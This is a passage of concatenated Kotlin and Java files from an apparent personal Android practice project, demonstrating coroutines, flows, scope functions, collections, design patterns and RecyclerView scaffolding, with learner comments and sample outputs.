import kotlinx.coroutines.flow.map
import kotlinx.coroutines.runBlocking
fun main() = runBlocking<Unit> {
simpleFlow()
.filter { it % 2== 0 }
.map {
"The Current number is $it"
}.collectLatest {
println(it)
}
}
//output
//The Current number is 1
//The Current number is 2
//The Current number is 3
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/MainActivity.kt
package com.dishant.kotlinpractices.recyclerViewDemo
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import com.dishant.kotlinpractices.R
import com.dishant.kotlinpractices.recyclerViewDemo.fragment.MainFragment
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.main_recyclerview_demo)
if(savedInstanceState == null){
supportFragmentManager.beginTransaction()
.replace(R.id.container,MainFragment())
.commitNow()
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example1.kt
package com.dishant.kotlinpractices.coreKotlin.solid
// single responsibility principle
data class User(var id: Long, var name: String, var password: String) {
fun signIn(){
}
fun signOut(){
}
}
// The single responsibility principle states that every class should have one and only one responsibility
// so separate the the classes
// User class should only have one responsibility i.e hold user information.
data class User1(var id:Long, var name: String,var password : String)
class AuthenticationService(){
fun signIn(){
}
fun signOut(){
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/surfaceview/SurfaceViewActivity.kt
package com.dishant.kotlinpractices.surfaceview
import android.annotation.SuppressLint
import android.content.Context
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.util.Log
import android.view.MotionEvent
import android.view.SurfaceHolder
import android.view.SurfaceView
import com.dishant.kotlinpractices.R
private const val TAG = "SurfaceViewActivity"
class SurfaceViewActivity : AppCompatActivity() {
private lateinit var myView: MyView
lateinit var bitmap: Bitmap
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
myView = MyView(this)
bitmap = BitmapFactory.decodeResource(resources, R.drawable.basketball)
setContentView(myView)
myView.setOnClickListener {
}
}
override fun onPause() {
super.onPause()
myView.pause()
}
override fun onResume() {
super.onResume()
myView.resume()
}
inner class MyView(context: Context?) : SurfaceView(context), Runnable,
SurfaceHolder.Callback2 {
private var thread: Thread? = null
private var surfaceHold: SurfaceHolder = holder
private var isItOk = false
var x1: Float = 0.0f
var y1: Float = 0.0f
init {
surfaceHold.addCallback(this)
}
override fun run() {
while (isItOk) {
if (surfaceHold.surface.isValid) {
val canvas = surfaceHold.lockCanvas();
canvas.drawARGB(255, 51, 51, 255)
canvas.drawBitmap(
bitmap, this.x1 - (bitmap.width / 2),
this.y1 - (bitmap.height / 2), null
)
surfaceHold.unlockCanvasAndPost(canvas)
}
}
}
fun pause() {
isItOk = false
while (true) {
try {
thread?.join()
} catch (e: Exception) {
e.printStackTrace()
}
break;
}
thread = null
}
fun resume() {
isItOk = true
thread = Thread(this)
thread?.start()
}
@SuppressLint("ClickableViewAccessibility")
override fun onTouchEvent(event: MotionEvent?): Boolean {
when (event!!.action) {
MotionEvent.ACTION_DOWN -> {
this.x1 = event.x
this.y1 = event.y
invalidate()
}
MotionEvent.ACTION_UP -> {
this.x1 = event.x
this.y1 = event.y
invalidate()
}
MotionEvent.ACTION_MOVE -> {
this.x1 = event.x
this.y1 = event.y
invalidate()
}
}
return true
}
override fun surfaceCreated(holder: SurfaceHolder) {
}
override fun surfaceChanged(holder: SurfaceHolder, format: Int, width: Int, height: Int) {
}
override fun surfaceDestroyed(holder: SurfaceHolder) {
}
override fun surfaceRedrawNeeded(holder: SurfaceHolder) {
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Commands/ExpandSpell.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Commands
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Command
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Target
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Size
class ExpandSpell : Command() {
private var oldSize: Size? =null
private var target: Target? =null
override fun execute(target: Target) {
oldSize = target.size
target.size =
Size.NORMAL
this.target = target
}
override fun undo() {
if(oldSize!=null && target!= null){
val tempSize = target?.size
target?.size= oldSize
oldSize = tempSize
}
}
override fun redo() {
undo()
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/collections/list/example1.kt
package com.dishant.kotlinpractices.coreKotlin.collections.list
data class FamilyMember(val firstName : String , val lastName : String , val age : Int) : Comparable<FamilyMember>{
override fun compareTo(other: FamilyMember): Int {
val fName = firstName.compareTo(other.firstName)
val lName = lastName.compareTo(other.lastName)
return lName.compareTo(fName)
}
}
data class Student(val id : Int , val name :String) : Comparable<Student>{
override fun compareTo(other: Student): Int {
return compareValuesBy(this, other, {it.id} , {it.name})
}
}
fun main(){
// listExample()
// setExample()
// listSorting()
val setData = hashSetOf(1,2,3,3)
println(setData)
}
private fun listSorting() {
val members = mutableListOf<FamilyMember>(
FamilyMember("Bob", "Belcher", 45),
FamilyMember("Linda", "Celcher", 40),
FamilyMember("Linda", "Belcher", 41),
FamilyMember("Linda", "Aelcher", 42),
FamilyMember("Tina", "Belcher", 43),
FamilyMember("Gene", "Belcher", 44),
FamilyMember("Louise", "Belcher", 45),
)
println("Before sort")
println(members)
members.sort()
println(members)
members.sortBy { it.age }
println(members)
}
private fun listExample() {
// immutable collection means that it supports only read-only functionalities and cant not modified its elements.
val immutableList = listOf<String>("Mahipal", "Nikhil", "Rahul")
//gives compile time error
// immutableList.add("xyz")
for (elementString in immutableList) {
println(elementString)
}
val mutableList = mutableListOf<String>("Mahipal", "Nikhil", "Rahul")
mutableList.add("xyz")
for (elementString in mutableList) {
println(elementString)
}
}
fun setExample(){
val immutableSet = setOf<Any>(6,9,9,0,0,"Mahipal","Nikhil")
for (anyData in immutableSet) {
println(anyData)
}
val mutableSet = mutableSetOf<Any>(234,43,53,43,35,"dfgd","dfgfdkgn","dfgkndfk")
for (any in mutableSet) {
println(any)
}
val student1 = Student(1, "First")
val student2 = Student(1, "First")
val mutableStudent = mutableSetOf<Student>(student1,student2)
for (student in mutableStudent) {
println("${student.id}")
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/ControlFlow/ConditionalExpression.kt
package com.dishant.kotlinpractices.coreKotlin.ControlFlow
fun main() {
println(max(99,100))
}
fun max(num1: Int , num2: Int) = if(num1 > num2) num1 else num2<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Goblin.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Color
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Size
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Visibility
class Goblin : Target() {
init {
size = Size.NORMAL
visibility =
Visibility.VISIBLE
color = Color.Pink
}
override fun toString(): String {
return "Goblin"
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Class/ClassExample.kt
package com.dishant.kotlinpractices.coreKotlin.Class
class Customer
// Declares a class with two properties: immutable id and mutable email,
// and a constructor with two parameters id and email.
class Contact(val id : Int , var email : String)
class Human{
private lateinit var main : String
constructor(main: String) {
this.main = main
}
}
//You can't put main() inside a class in Kotlin. In Java it must be static,
// and the only way to make a function static in Kotlin is to put it directly under a package.
fun main(args: Array<String>) {
// Create instanse of class customer with default constructor.
// there is no new keyword in kotlin
val customer = Customer()
val contact = Contact(1,"<EMAIL>")
println(contact.id)
println(contact.email)
contact.email = "<EMAIL>"
println(contact.email)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/MainActivity.kt
package com.dishant.kotlinpractices
//
//import androidx.appcompat.app.AppCompatActivity
//import android.os.Bundle
//import android.util.Log
//import androidx.lifecycle.Observer
//import com.example.kotlinpractices.roomDatabase.AppDatabase
//import com.example.kotlinpractices.roomDatabase.UserEntity
//import kotlinx.coroutines.GlobalScope
//import kotlinx.coroutines.launch
//private const val TAG = "MainActivity"
//
//class MainActivity : AppCompatActivity() {
// override fun onCreate(savedInstanceState: Bundle?) {
// super.onCreate(savedInstanceState)
// setContentView(R.layout.activity_main)
//
// val db = AppDatabase(this)
//
//
// Log.d(TAG, "onCreate: ");
// Log.v(TAG, "onCreate: ");
// Log.i(TAG, "onCreate: ");
// GlobalScope.launch {
// db.userDao().insertAll(UserEntity("Dishant","Patel"))
// }
//
// db.userDao().getAll().observe(this, Observer {
// it.forEach {
// Log.d(TAG,"id ${it.userId.toString()}")
// Log.d(TAG,"name ${it.firstName}")
// Log.d(TAG,"lastname ${it.lastName}")
//
// }
// })
//
//
//
// }
//
//
//}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/coroutineContext/coroutineContextExample1.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.coroutineContext
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking
// Dispatcher determine thread of coroutine
fun main() = runBlocking {
// this is for coroutineScope
// coroutineContext: CoroutineContext instance
launch {
println("coroutine scope $this")
println("coroutine context ${coroutineContext}")
println("c1 launch : ${Thread.currentThread().name}")
delay(100)
print("c1 after 100 ms ${Thread.currentThread().name}")
}
/* With parameter: Dispatchers.Default [similar to GlobalScope.launch { } ]
- Gets its own context at Global level. Executes in a separate background thread.
- After delay() or suspending function execution,
it continues to run either in the same thread or some other thread. */
launch(Dispatchers.Default) {
println("C2: ${Thread.currentThread().name}") // Thread: T1
delay(1000)
println("C2 after delay: ${Thread.currentThread().name}") // Thread: Either T1 or some other thread
}
/* With parameter: Dispatchers.Unconfined [UNCONFINED DISPATCHER]
- Inherits CoroutineContext from the immediate parent coroutine.
- After delay() or suspending function execution, it continues to run in some other thread. */
launch(Dispatchers.Unconfined) {
println("C3: ${Thread.currentThread().name}") // Thread: main
delay(1000)
println("C3 after delay: ${Thread.currentThread().name}") // Thread: some other thread T1
}
launch(coroutineContext) {
println("C4: ${Thread.currentThread().name}") // Thread: main
delay(1000)
println("C4 after delay: ${Thread.currentThread().name}") // Thread: main
}
println("Some code")
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/kotlinFlow/FlowTransform.kt
package com.dishant.kotlinpractices.coreKotlin.kotlinFlow
import kotlinx.coroutines.flow.collectLatest
import kotlinx.coroutines.flow.filter
import kotlinx.coroutines.flow.map
import kotlinx.coroutines.flow.transform
import kotlinx.coroutines.runBlocking
fun main() = runBlocking<Unit> {
simpleFlow()
.transform {
emit("Is it an even number ${it %2 == 0} ")
}
.collectLatest {
println(it)
}
}
//output
//The Current number is 1
//The Current number is 2
//The Current number is 3
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/enums/Size.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums
enum class Size(private val title: String) {
SMAll("small"), NORMAL("NORMAL");
override fun toString(): String {
return title;
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/KotlinJetbrainPrcatice/day1/improvePerformance.kt
package com.dishant.kotlinpractices.KotlinJetbrainPrcatice.day1
import java.io.File
fun main(){
var nullValue : String? = "data"
val value =nullValue?.let {
println(it)
}
print(value)
val numbers = File("/Users/admin/LivebirdProjects/PracticeProjets/KotlinPractices/app/src/main/java/com/dishant/kotlinpractices/KotlinJetbrainPrcatice/day1/input.txt")
.readLines()
.map(String :: toInt)
val complements = numbers.associateBy { 2020 - it }
println(numbers.take(5).associate { "key$it" to "value$it" })
println(numbers.take(5).associateBy { "key$it"})
println(numbers.take(5).associateWith { "value$it"})
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/kotlinFlow/FlowCollectLatest.kt
package com.dishant.kotlinpractices.coreKotlin.kotlinFlow
import kotlinx.coroutines.delay
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.collectLatest
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.runBlocking
//link https://proandroiddev.com/reactive-stream-with-flow-android-f936bfdea66d
fun simpleFlow(): Flow<Int> = flow {
for(num in 1..10){
delay(100)
emit(num)
}
}
fun main() = runBlocking<Unit>{
simpleFlow().collectLatest {
println(it)
}
}
//output
//1
//2
//3
//4
//5
//6
//7
//8
//9
//10<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/suspending/suspendingExample2.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.suspending
import kotlinx.coroutines.async
import kotlinx.coroutines.delay
import kotlinx.coroutines.runBlocking
import kotlin.system.measureTimeMillis
// coroutine execute concurrent way
fun main() = runBlocking {
println("Main program starts ${Thread.currentThread().name}")
val timeTakenToExecute = measureTimeMillis {
val msgOne = async{ getMessageOne()} // async is coroutine builder and create new coroutine in runblocking scope
val msgTwo = async { getMessageTwo()} // async is coroutine builder and create new coroutine in runblocking scope
println("The entire message is ${msgOne.await() + msgTwo.await()}")
}
println("Completed in $timeTakenToExecute ms")
println("Main program ends ${Thread.currentThread().name}")
}
//out
//Main program starts main
//The entire message is Helloworld
//Completed in 1012 ms
//Main program ends main
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines11.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.*
// use main method function as expression
fun main() = runBlocking { //create new coroutine that block the current main thread
println("Main program starts ${Thread.currentThread().name}") // main thread
//GlobalScope.async create new scope/thread
val jobDeferred: Deferred<Int> = GlobalScope.async {// launch a new coroutine in thread t1
println("fake work start ${Thread.currentThread().name}") // thread t1
delay(1000) // coroutine is suspended(paused) but thread t1 is free( not block)
println("fake work end ${Thread.currentThread().name}")// thread t1
20
}
// delay(4000) //main thread : wait for coroutine to finish
// jobDeferred.join()
var value= jobDeferred.await()
println("new values $value") //main thread
println("Main program Ends ${Thread.currentThread().name}") //main thread
}
//note : delay is suspend function and used to pause the coroutine for some time
// suspend function is not called from outside a coroutine
//GlobalScope async function....
// launch a new coroutine without blocking the current thread
// -- >create new the thread & coroutine scope
// -- >returns a reference to the Deferred<T> object
// -- >using Deferred object we can cancel the coroutine or wait for finish coroutine
// or retrieve the returned result
// runBlocking is create blocking coroutine (means it block main thread)
//output
/*Main program starts main
fake work start DefaultDispatcher-worker-1
fake work end DefaultDispatcher-worker-1
new values 20
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/adapter/Empty.kt
package com.dishant.kotlinpractices.recyclerViewDemo.adapter
class Empty {
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/RecyclerViewModel.kt
package com.dishant.kotlinpractices.recyclerViewDemo
import java.util.Objects
data class RecyclerViewModel(
var id : String,
var content: String = "",
var isLiked : Boolean = false
){
val text :String
get() = "ID : $id"
override fun equals(other: Any?): Boolean {
if(this === other)
return true
if (other !is RecyclerViewModel)
return false
return other.id == id
}
override fun hashCode(): Int {
return Objects.hashCode(id);
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/ControlFlow/LoopExample.kt
package com.dishant.kotlinpractices.coreKotlin.ControlFlow
fun main() {
val cakes = listOf("chocolate", "chess", 1)
for (data in cakes) {
println(data)
}
val zoo = Zoo(listOf(Animal("tiger"), Animal("lion")))
for (animal in zoo) {
println(animal.name)
}
}
class Animal(val name: String)
class Zoo(private val animals: List<Animal>) {
operator fun iterator(): Iterator<Animal> {
return animals.iterator()
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/extra/extra2.kt
package com.dishant.kotlinpractices.coreKotlin.extra
fun main() {
val collection = listOf(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
println(collection.take(5) + collection.drop(5))
println(collection.none { it > 5 })
println(collection.all { it < 11 })
println(collection.sorted().reversed())
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutinesActivity.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import com.dishant.kotlinpractices.R
import kotlinx.coroutines.DelicateCoroutinesApi
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlin.system.measureTimeMillis
//example link
//https://proandroiddev.com/kotlin-coroutines-in-andriod-ff0b3b399fa0
/*
Let’s take an example and understand better.
Let’s create an Activity with two suspend functions with some delay and inside
OnCreate let’s execute some logic to check how the suspend functions work.
Have a look at the below code where GlobalScope.launch creates and launches
a coroutine because suspend functions can’t be called directly in normal functions.
*/
@DelicateCoroutinesApi
class KotlinCoroutinesActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_kotlin_coroutines)
GlobalScope.launch {
val time = measureTimeMillis {
val one = sampleOne()
val two = sampleTwo()
println("The answer is ${one +two}")
}
println("Completed in $time ms")
}
println("The End")
}
private suspend fun sampleOne() : Int{
println("sampleOne ${System.currentTimeMillis()}")
delay(1000L)
return 10
}
private suspend fun sampleTwo() :Int {
println("sampleTwo ${System.currentTimeMillis()}")
delay(1000L)
return 10
}
}
//out put
//13:49:30.966 /System.out: The End
//13:49:30.967 /System.out: sampleOne 1624781970967
//13:49:31.971 /System.out: sampleTwo 1624781971971
//13:49:32.975 System.out: The answer is 20
//13:49:32.976 System.out: Completed in 2008 ms<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/coroutineScope/CoroutineScopeExampel2.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.coroutineScope
import kotlinx.coroutines.*
// Every and each coroutine has its own quick CoroutineScope
fun main() = runBlocking {
doWorld()
println("Some other code done")
}
suspend fun doWorld() = coroutineScope {
launch {
delay(2000L)
println("World 1")
}
launch {
delay(1000L)
println("World 2")
}
println("Hello")
}
//output
//runBlocking : BlockingCoroutine{Active}@5abca1e0
//Some other code
//launch : StandaloneCoroutine{Active}@35d176f7
//async : DeferredCoroutine{Active}@6ebc05a6
//child launch StandaloneCoroutine{Active}@50b494a6
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/repository/MainRepository.kt
package com.dishant.kotlinpractices.recyclerViewDemo.repository
import com.dishant.kotlinpractices.recyclerViewDemo.utils.NetworkResponse
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.utils.Operation
import com.dishant.kotlinpractices.recyclerViewDemo.utils.OperationEnum
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.flow.flowOn
import java.util.UUID
import kotlin.jvm.internal.Intrinsics.Kotlin
class MainRepository {
private val PAGE_SIZE: Int = 50
private val tempList = arrayListOf<RecyclerViewModel>().apply {
for (i in 0..PAGE_SIZE) {
add(RecyclerViewModel(UUID.randomUUID().toString(), "Content $i"))
}
}
fun fetchData(page: Int): Flow<NetworkResponse<ArrayList<RecyclerViewModel>>> = flow {
emit(NetworkResponse.Loading(page != 1))
kotlinx.coroutines.delay(2000L)
try {
if (page == 1) {
emit(NetworkResponse.Success(tempList.toList() as ArrayList<RecyclerViewModel>))
}
val tempPaginationList = arrayListOf<RecyclerViewModel>().apply {
for (i in 0..PAGE_SIZE) {
add(RecyclerViewModel(UUID.randomUUID().toString(), "Content ${i * page}"))
}
}
if (page <= 4) {
emit(NetworkResponse.Success(tempPaginationList, isPaginating = true))
} else {
emit(NetworkResponse.Failure("Pagination failed", isPaginatingError = true))
}
} catch (e: Exception) {
emit(NetworkResponse.Failure(e.message ?: e.toString(), isPaginatingError = page != 1))
}
}.flowOn(Dispatchers.IO)
fun deleteData(item: RecyclerViewModel): Flow<NetworkResponse<Operation<RecyclerViewModel>>> =
flow {
emit(NetworkResponse.Loading())
kotlinx.coroutines.delay(1000L)
try {
emit(NetworkResponse.Success(Operation(item, OperationEnum.Delete)))
} catch (e: Exception) {
emit(NetworkResponse.Failure(e.message ?: e.toString()))
}
}.flowOn(Dispatchers.IO)
fun updateData(item: RecyclerViewModel): Flow<NetworkResponse<Operation<RecyclerViewModel>>> =
flow {
emit(NetworkResponse.Loading())
kotlinx.coroutines.delay(1000L)
try {
item.content = "Update Content ${(0..100).random()}"
emit(NetworkResponse.Success(Operation(item, OperationEnum.Update)))
} catch (e: Exception) {
emit(NetworkResponse.Failure(e.message ?: e.toString()))
}
}
fun toggleLikeData(item: RecyclerViewModel): Flow<NetworkResponse<Operation<RecyclerViewModel>>> =
flow {
emit(NetworkResponse.Loading())
kotlinx.coroutines.delay(1000L)
try{
item.isLiked = !item.isLiked
emit((NetworkResponse.Success(Operation(item, OperationEnum.Update))))
}catch (e :Exception){
emit(NetworkResponse.Failure(e.message ?: e.toString()))
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/LoadingViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.CellLoadingBinding
class LoadingViewHolder(private val binding: CellLoadingBinding) :
RecyclerView.ViewHolder(binding.root) {
}<file_sep>/settings.gradle
include ':app'
rootProject.name='KotlinPractices'
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines2.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.launch
fun main(){
println("Main program starts ${Thread.currentThread().name}")
GlobalScope.launch {
println("fake work start ${Thread.currentThread().name}")
Thread.sleep(1000)
println("fake work end ${Thread.currentThread().name}")
}
println("Main program Ends ${Thread.currentThread().name}")
}
//note : Unlike thread , for coroutines application by default does not
// wait for it to finish its execution
//output
/*Main program starts main
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/extra/extra1.kt
package com.dishant.kotlinpractices.coreKotlin.extra
fun main() {
printMultiplicationTable(1..10, 1..20)
}
fun printMultiplicationTable(rows: IntRange, columns:IntRange){
for(row in rows){
for (column in columns){
print("$column * $row =")
if(row<10) {
System.out.format("%-8d", row * column)
}else{
System.out.format("%-7d", row * column)
}
}
println()
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/suspending/suspendingExample3.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.suspending
import kotlinx.coroutines.CoroutineStart
import kotlinx.coroutines.async
import kotlinx.coroutines.delay
import kotlinx.coroutines.runBlocking
import kotlin.system.measureTimeMillis
// coroutine execute lazy way
fun main() = runBlocking {
println("Main program starts ${Thread.currentThread().name}")
val msgOne = async (start = CoroutineStart.LAZY){ getMessageOne()} // this coroutine executed when is output is await to execute otherwise not executed
val msgTwo = async (start = CoroutineStart.LAZY){ getMessageTwo()} // this coroutine executed when is output is await to execute otherwise not executed
// println("The entire message is ${msgOne.await() + msgTwo.await()}")
println("Main program ends ${Thread.currentThread().name}")
}
//out
//Main program starts main
//The entire message is Helloworld
//Completed in 1012 ms
//Main program ends main
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/scopeFuction/apply.kt
package com.dishant.kotlinpractices.coreKotlin.scopeFuction
data class Person(var name : String, var age:Int , var about: String){
constructor(): this("",0,"")
}
fun main() {
val dishant = Person()
// apply is an extension function on a type. It runs on the object
// reference (also known as receiver) into the expression and returns
// the object reference on completion.
val stringDescription : Person = dishant.apply {
name = "Dishant"
age = 27
about = "Android developer"
}
println(stringDescription)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Commands/VisibleSpell.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Commands
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Command
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Target
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Visibility
class VisibleSpell : Command() {
private var target: Target? = null
override fun execute(target: Target) {
target.visibility =
Visibility.VISIBLE
this.target = target
}
override fun undo() {
if (target != null) {
target?.visibility =
Visibility.INVISIBLE
}
}
override fun redo() {
if (target != null) {
target?.visibility =
Visibility.VISIBLE
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/utils/Operation.kt
package com.dishant.kotlinpractices.recyclerViewDemo.utils
data class Operation<out T>(val data: T, val operationEnum: OperationEnum)
enum class OperationEnum {
Insert,
Update,
Delete
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/delegate/explicitDelegateInJava/DelegationExample2.java
package com.dishant.kotlinpractices.coreKotlin.delegate.explicitDelegateInJava;
public class DelegationExample2 {
public static void main(String[] args){
View1 view1 = new View1();
CustomView1 customView1 = new CustomView1();
Screen1 screen1 = new Screen1(view1);
Screen1 screen2 = new Screen1(customView1);
screen1.show();
screen2.show();
}
}
interface Showable{
void show();
}
class View1 implements Showable{
@Override
public void show() {
System.out.println("View1.Show()");
}
}
class CustomView1 implements Showable{
@Override
public void show() {
System.out.println("CustomView1.show()");
}
}
class Screen1 implements Showable{
private final Showable showable;
public Screen1(Showable showable) {
this.showable = showable;
}
@Override
public void show() {
showable.show();
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/interface/Interaction.kt
package com.dishant.kotlinpractices.recyclerViewDemo.`interface`
import android.icu.text.Transliterator.Position
interface Interaction<T> {
fun onItemSelected(item: T, position : Int)
fun onLongPressed(item: T)
fun onErrorRefreshPressed()
fun onExhaustButtonPressed()
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/SpacialClasses/ObjectKeywordExample.kt
package com.dishant.kotlinpractices.coreKotlin.SpacialClasses
//object as Expression
class MyClass {
var myvalues =object {
var a : Int =10
set(value) {
field = value* 20
}
var b =20
}
var number = 1
companion object{
var myvalues = 10
}
}
fun rentPrice(standardDays: Int, festivalDays: Int, spacialDays: Int): Int {
val dayRates = object {
val standard = 30 * standardDays
val festival = 50 * festivalDays
val spacial = 100 * spacialDays
}
return dayRates.standard+dayRates.festival+dayRates.spacial
}
fun main() {
// println(rentPrice(10,5,1))
var myClass = MyClass()
println(myClass.number++)
println(myClass.number++)
println(MyClass.myvalues++)
println(MyClass.myvalues++)
println(MyClass().number++)
println(MyClass().number++)
println(MyClass().number++)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/multiThreading/ThreadExampleActivity.kt
package com.dishant.kotlinpractices.coreKotlin.multiThreading
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.os.Handler
import com.dishant.kotlinpractices.R
class ThreadExampleActivity : AppCompatActivity() {
var handlerUIThread : Handler = Handler()
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_thread_example)
// Thread(startThread()).apply { start() }
// ExampleThread(10).apply { start() }
Thread(ExampleRunnable(10)).apply { start() }
}
fun startThread() : Runnable{
return Runnable {
for (number in 1..10){
println("startThread $number")
Thread.sleep(1000)
}
}
}
class ExampleThread(private var seconds : Int) : Thread(){
override fun run() {
super.run()
for (number in 1..seconds){
println("ExampleThread startThread $number")
Thread.sleep(1000)
}
}
}
inner class ExampleRunnable(private var seconds: Int) : Runnable{
override fun run() {
for (number in 1..seconds){
if(number == seconds/2){
/*start_thread_btn.post {
start_thread_btn.setText("50%")
}*/
/*
handlerUIThread.post(Runnable {
start_thread_btn.text = "50%"
})*/
runOnUiThread{
}
}
println("ExampleRunnable startThread $number")
Thread.sleep(1000)
}
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/scopeFuction/let.kt
package com.dishant.kotlinpractices.coreKotlin.scopeFuction
import java.util.*
fun main() {
val isEmpty : Boolean = "Dishant".let {
customPrint(it)
it.isEmpty()
}
// let and run work same
// diff is that we use it for referance of the class to call its methods
//in run block we direct call is method without using (this)
val isEmpty2 : Boolean = "Dishant".run {
customPrint(this)
isEmpty()
}
val toLowercase by lazy { "Dishant".let {
customPrint(it)
it.lowercase()
}}
println(" is empty $isEmpty")
// println(" is empty $isEmpty2")
// println(" in lowercase $toLowercase")
fun printNonNull(str:String?){
println("Printing $str :")
str?.let {
customPrint(str)
}
}
//
// printNonNull(null)
// printNonNull("This is not null")
}
// this function is call when variable is initialized but change when using lazy
fun customPrint(string: String) {
println(string.uppercase())
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/scopeFuction/run.kt
package com.dishant.kotlinpractices.coreKotlin.scopeFuction
fun main() {
fun getNullableLength(str :String?): Int? {
println("for $str :")
return str?.run {
println("is empty ${isEmpty()}")
length
}
}
// println(getNullableLength(null))
// println(getNullableLength(""))
// println(getNullableLength("Dishant"))
println("--------------------------")
getNullableLength(null)?.run { println("lenght :$this") }
getNullableLength(null)?.let { println("lenght :$it") }
getNullableLength("")?.run { println("lenght :$this") }
getNullableLength("Prashant")?.run { println("lenght :$this") }
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/interface/RecyclerViewInteraction.kt
package com.dishant.kotlinpractices.recyclerViewDemo.`interface`
import androidx.recyclerview.widget.RecyclerView
interface RecyclerViewInteraction<T> {
fun onUpdatePressed(item: T)
fun onDeletePressed(item: T)
fun onLikePressed(item : T)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Commands/PinkColorSpell.kt
